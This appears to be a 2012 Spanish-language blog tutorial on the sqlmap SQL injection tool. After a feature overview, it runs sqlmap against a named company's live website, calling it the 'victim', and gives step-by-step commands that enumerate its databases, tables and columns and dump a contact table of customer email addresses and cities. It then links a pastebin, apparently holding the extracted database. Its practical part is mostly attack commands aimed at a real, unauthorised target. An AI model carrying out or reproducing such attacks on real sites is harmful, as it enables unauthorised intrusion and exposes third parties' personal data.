sábado, 15 de septiembre de 2012


Sqlmap - Herramienta automática para inyección SQL



¿Qué es Sqlmap?

Sqlmap es una herramienta desarrollada en el lenguaje python y es muy util para hacer inyeccciones sql automatizados.

Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se ha detectado una variable del host de destino en la que se puede hacer inyecciones SQL, el usuario puede dar uso del Sqlmap que te va a permitir al usuario poder elegir entre una variedad de opciones como por ejemplo:

  • Enumerar bases de datos
  • Enumerar las tablas y columnas de una base de datos.
  • Enumerar los usuarios con su respectiva contraseña.
  • Descifrar los hashes de contraseñas .
  • Leer archivos especificos del sistema de archivo de un host espeficico y mucha mas cosas.
Caracteristicas

  • Soporte completo para MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, DB2 de IBM, SQLite, Firebird, Sybase y SAP MaxDB base de datos de los sistemas de gestión.

  • Soporte completo para seis técnicas de inyección SQL: booleano basado ciegos, ciegos basado en el tiempo, basado en errores, consulta UNION, las consultas apilados y fuera de banda.
  •   Apoya para conectarse directamente a la base de datos sin tener que pasar a través de una inyección SQL, proporcionando credenciales del DBMS, dirección IP, el puerto y el nombre de base de datos.
  •   Apoya a la escalada de procesos de base de datos en privilegios de usuario a través de Metasploit.
  • Apoya a descargar y cargar cualquier archivo del sistema de archivos subyacente servidor de base de datos cuando el software de base de datos MySQL, PostgreSQL o Microsoft SQL Server. 
Bueno creo que con esta referencia es suficiente , ahora es el momento de la practica. En esta ocasion voy a utilizar el Sqlmap que viene ya instalado en el Backtrack5R3. Pues comenzemos...=)

  Abrimos una terminal y digitamos lo siguiente.

~# cd Desktop
~# cd /pentest/database/sqlmap
~# python sqlmap.py


Otra forma de abrirlo seria:




De esta forma vamos a poder observar los diversos comandos que nos ofrece Sqlmap.


Por falta de tiempo solo voy a poder explicar los comandos básicos del Sqlmap, los demas se los dejo a ustedes..xD.

Ahora necesitamos una victima(web con vulnerabilidad Sql).....mmmmm...xD
Pues la elegida va ser :
 
Hesley Consulting ofrece una gestión completa infraestructura, paquetes todo incluido apoyo a las grandes y pequeñas empresas.

Chesley Consulting se esfuerza constantemente por la excelencia, tanto en lo tecnológico y ámbitos de atención al cliente. Mediante el seguimiento de las tendencias de la industria informática y los nuevos desarrollos de TI, somos capaces de mantenerse al día con los últimos avances en tecnologías y brindarle un servicio superior. Y, a través del desarrollo de largo plazo con los clientes, somos capaces de crear relaciones de beneficio mutuo que se centran en un servicio continuo y de calidad para apoyar sus metas a largo plazo.

El bug se encuentra aqui :

                                http://www.chesleyconsulting.com/faq/faq.php?faq_id=15

Al parecer la variable id no ha sido correctamente validada.
 
 Ahora ingresamos nuestro objetivo al Sqlmap.


Vamos a pedir que nos muestre las bases de datos de dicha web.
 

-u          ===> señala el nuestro objetivo
--dbs     ===> pedimos que nos muestra las base de datos.

~# python sqlmap.py -u  http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 --dbs
   


avaible databases [2]
[*] chesley_pommo
[*] information_schema

Ahora vamos a pedir el numero de tablas que tiene la base de datos chesley_pompmo.

-D               ====> señalamos el nombre de la base de datos.
--tables       ====> pedimos el número de tablas.

 ~# python sqlmap.py -u  http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D chesley_pommo --tables


Algunas de las tablas son:

pommo_templates
pommo_updates
states
static_pages
tbl_x_contact_basic

Ahora vamos a pedir que nos muestre las columnas de la tabla tbl_x_contact_basic.

-T              ===> señalamos el nombre de la tabla.
--columns ===> pedimos el numero de columnas.

 ~# python sqlmap.py -u  http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D chesley_pommo -T tbl_x_contact_basic --columns




Algunas de las columnas de la tabla tbl_x_contact_basic van a ser :

email_address
email_city
email_fname
email_lname
email_phone

Ahora vamos a pedir que nos muestre la data de las columna email_address.

-C               ===> señalamos el nombre de la columna.
--dump       ===> pedimos la que nos muestre la data de la columna.

 ~# python sqlmap.py -u  http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D chesley_pommo -T tbl_x_contact_basic -C email_address --dump


  
Si queremos pedir la data de varias columnas a la vez , como por ejemplo de las columnas
email_address,email_city, el codigo sera asi:

 ~# python sqlmap.py -u  http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D chesley_pommo -T tbl_x_contact_basic -C 'email_address,email_city' --dump

Para terminar bien, hay que terminar de extraer la base de datos de esta web de seguridad informática o eso parece..=)


                                                  http://pastebin.com/GQMAaUN4


 Bueno creo que ya llegamos al final del post.........=)

Para los que desean usar esta herramienta en windows tienen que descargarse el paquete de python y activarlo , asi podra correr libremente el Sqlmap. =) Bueno me despido y sera hasta la próxima...Nos vemos...=) 






No hay comentarios:

Publicar un comentario